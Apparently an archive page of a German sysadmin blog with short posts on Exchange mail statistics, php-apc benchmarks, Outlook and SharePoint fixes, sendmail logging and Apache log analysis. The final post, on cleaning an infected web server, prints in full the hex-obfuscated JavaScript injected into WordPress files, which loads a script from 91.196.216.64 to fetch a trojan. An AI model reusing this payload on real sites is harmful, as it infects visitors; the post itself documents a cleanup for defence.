Alle Beiträge von flitzender_elch

Fundstück – Exchange 2007/2010 täglicher Messagingstatistik

Hab hier eine interessantes Powershell-Skript gefunden, welches ich gleich auf meinem Exchange einbauen und testen
musste.

Ergebnis kommt dann per eMail und sieht so aus:

Anzahl Gesendete E-Mails:        64
Volumen Gesendete E-Mails:   0,24 MB
Volumen der größten E-Mail Out:           0,00 MB
Durchschnittliche Größe Out:    3,82 KB
Anzahl Empfangene E-Mails:     182
Volumen Empfangene E-Mails:                4,82 MB
Volumen der größten E-Mail In:              1,27 MB
Durchschnittliche Größe In:       27,14 KB
Gesamtanzahl: 246
Volumen Gesamt:          5,06 MB

Damit ich mich nicht der Authentifizierung im Skript rumschlagen musste, machte ich einen neuen Empfangsconnector ohne Authentifizierung nur für das interne Netz auf dem Port 465. Im Skript muss man dann nur noch folgendes hinzufügen:

$SmtpClient.Port = „465“

Linux – Performance Vergleich mit und ohne php-apc

Hab heute mal auf meinem Server hier php-apc installiert und upgedatet, der Performance Unterschied ist ernorm.
Getestet habe ich mit ab aus den apache2-utils.

Ab habe ich mit folgenden Parametern aufgerufen:

ab -n 1000 -c 5 http://www.devilsystems.org/

kein php-apc mit php-apc
Server Software: Apache Server Software: Apache
Server Hostname: www.devilsystems.org Server Hostname: www.devilsystems.org
Server Port: 80 Server Port: 80
Document Path: / Document Path: /
Document Length: 33637 bytes Document Length: 33637 bytes
Concurrency Level: 5 Concurrency Level: 5
Time taken for tests: 348.331 seconds Time taken for tests: 205.001 seconds
Complete requests: 1000 Complete requests: 1000
Failed requests: 0 Failed requests: 0
Write errors: 0 Write errors: 0
Total transferred: 34042000 bytes Total transferred: 34042000 bytes
HTML transferred: 33637000 bytes HTML transferred: 33637000 bytes
Requests per second: 2.87 [#/sec] (mean) Requests per second: 4.88 [#/sec] (mean)
Time per request: 1741.656 [ms] (mean) Time per request: 1025.007 [ms] (mean)
Time per request: 348.331 [ms] (mean, across all concurrent requests) Time per request: 205.001 [ms] (mean, across all concurrent requests)
Transfer rate: 95.44 [Kbytes/sec] received Transfer rate: 162.17 [Kbytes/sec] received
Connection Times (ms) Connection Times (ms)
min mean[+/-sd] median max min mean[+/-sd] median max
Connect: 7 28 211.8 10 3017 Connect: 7 18 14.4 14 97
Processing: 353 1711 224.1 1681 4207 Processing: 209 1007 210.2 1013 3577
Waiting: 308 1652 216.2 1628 4170 Waiting: 178 920 197.6 932 3518
Total: 361 1739 288.8 1695 4739 Total: 216 1025 211.4 1029 3585
Percentage of the requests served within a certain time (ms) Percentage of the requests served within a certain time (ms)
50% 1695 50% 1029
66% 1732 66% 1054
75% 1764 75% 1077
80% 1779 80% 1091
90% 1855 90% 1155
95% 2023 95% 1236
98% 2608 98% 1331
99% 2904 99% 1378
100% 4739 (longest request) 100% 3585 (longest request)

Outlook 2010 und Exchange 2010 – ständige Passwortabfrage

Auf meinem Client habe ich Windows 7 Pro x64 und Outlook 2010 x32 und einen Exchange 2010
mit den neusten Service Packs und sonstigen Updates.
Jedesmal wenn ich Outlook öffnete und eine eMail versenden wollte fragte mich Outlook nach meinem
Benutzernamen und Passwort. Bei neuen eMails stand oben auch immer „Infos konnten nicht abgerufen werden“
nach längerem hin und her (autodiscover etc.) war meine Lösung ganz einfach:

Start -> Systemsteuerung -> Benutzerkonten -> Anmeldinformationsverwaltung -> Generische Anmeldinformationen

Dort sind einige Einträge gewesen in etwa so:

„MS.Outlook:username@domainname:PUT“

Habe alle gelöscht, Outlook schliessen wieder öffnen geht ohne Probleme.

Sharepoint Services 3.0 – Event ID 5617

Bei dem Versuch das SP2 für die Sharepoint-Services einzuspielen, bricht der Konfigurationsmanager mit einem Fehler ab und
in die Ereignisanzeige wird ein Fehler mit der ID 5617 geschrieben. Nachdem ist die Sharepoint-Site nicht mehr erreichbar auch
Neustarts der Dienste oder des Servers bringen keine Lösung.

Meine Lösung war:

%commonprogramfiles%\Microsoft Shared\Web Server Extensions\12\BIN\psconfig -cmd upgrade -inplace b2b -wait –force

Quelle

Fundstück – Genaues Logging für PHP-Mailer

Wenn man einen Webserver betreibt mit PHP werden darüber meist auch eMails versendet und dann meistens in der Zuhilfename von Sendmail. Sollte jemand ein Kontaktformular oder ähnliches missbrauchen ist es oft schwer in den Logs da etwas brauchbares zu finden. Durch eine Anpassung von Sendmail kann die Protokollierung detailierter erfolgen.

Eine Datei erzeugen:

/usr/local/bin/sendmail-php

Mit dem Inhalt:

#!/bin/sh
logger -p mail.info sendmail-php: site=${HTTP_HOST}, client=${REMOTE_ADDR}, script=${SCRIPT_NAME}, filename=${SCRIPT_FILENAME}, docroot=${DOCUMENT_ROOT}, pwd=${PWD}, uid=${UID}, user=$(whoami)

/usr/sbin/sendmail -t -i $*

Dann in der PHP.ini eine Anpassung machen:

sendmail_path = /usr/local/bin/sendmail-php -t –i

Wenn man mehrere PHP.ini’s hat muss man in jeder die Anpassung machen.
Quelle.

Linux – Apache Log per Commandline analysieren

Da es bei mir öfter vorkommt das ein Server attackiert wird, ist dann schnell Reaktion vorteilhaft.

Statistik-Programme wie Awstats oder Webalizer analysieren ja den letzten Tag, wenn aber gerade ein Angriff ist

wäre ein Analyse des Logs während des Angriffes aufschlussreicher.

Habe im Netz dazu mehrere Möglichkeiten gefunden, hier ein paar davon:

tail -n 10000 yourweblog.log | cut -f 1 -d ' '|sort|uniq -c|sort -nr|more
netstat -n|grep :80|cut -c 45- | cut -f 1 -d ':'|sort|uniq -c|sort -nr|more
cut -f 2 -d '"' yourweblog.log | cut -f 2 -d ' '|sort|uniq -c|sort -nr|more
cut -f 4 -d '"' yourweblog.log | sort|uniq -c|sort -nr|more
netstat -an | grep ESTABLISHED | awk '\''{print $5}'\'' | awk -F: '\''{print $1}'\'' | sort | uniq -c | awk '\''{ printf("%s\t%s\t",$2,$1); for (i = 0; i < $1; i++) {printf("*")}; print ""}'\''

Quelle

Linux – Ein paar find und sed Befehle die mir geholfen haben einen Schadcode am Webserver zu entfernen

Auf einem meiner Webserver hatte ich einen Schadcode in JS-Dateien der in Hex geschrieben war, anscheinend durch ein ungepatchtes WordPress reingekommen und
schon waren ein paar tausend Files infiziert. Mit der Hand tut man sich schwer, deshalb hier ein paar Befehle die mir geholfen haben:

find . -type f -name „*.js“ -exec sed -i.backup -e ’s/var _0x4470.*//g‘ {} \;
find . -type f -name „*.html“ | xargs sed -i -e ’s/bbfd9f.*//g‘
find . -type f | xargs grep -H „_0xa064“ | awk ‚{print $1}‘
find . -type f -name „*.backup“ | xargs tar rvf /var/backup.tar
find . -type f -exec grep -H „_0xa064“ {} \;
find . -exec grep -n „_0xa064“ /dev/null {} \;

Kleines Skript welches jede Zeile einliest und darauf einen Befehl ausführt:

#!/bin/bash
# List all the users in /etc/passwd.
FILENAME=/var/ergebnis3.txt
for user in $(cut -d: -f1 $FILENAME)
do
ls -lh /var/www/$user/
done

Folgender Code wurde in die JS-Dateien eingefügt:

Var_0x4470=[„\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D“,“\x7C“,“\x73\x70\x6C\x69\x74″,“\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70″,“\x72\x65\x70\x6C\x61\x63\x65″,““,“\x5C\x77\x2B“,“\x5C\x62″,“\x67″];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3–){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3–){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));

Dadurch wurde am Client folgender Befehl ausgeführt:

http://91.196.216.64/s.php?ref=&lc=http://DOMAIN/&ua=Mozilla/5.0%20%28Windows%20NT%206.1%3B%20WOW64%3B%20rv%3A8.0.1%29%20Gecko/20100101%20Firefox/8.0.1

Der widerum einen Trojaner downloaden wollte.
Das gemeine daran ist das der Befehl in HEX umgewandelt worden ist und man so nicht einfach nach z.B. „91.196.216.64“ suchen lassen kann, weil er natürlich nix findet.
Die Bösewichte werden immer besser, für mich sehr raffiniert sich so zu verstecken, da zieh ich meinen Hut, wenn ich einen auf hätte.

Was ich mir jetzt mal anschauen werden ist das

Security/CSP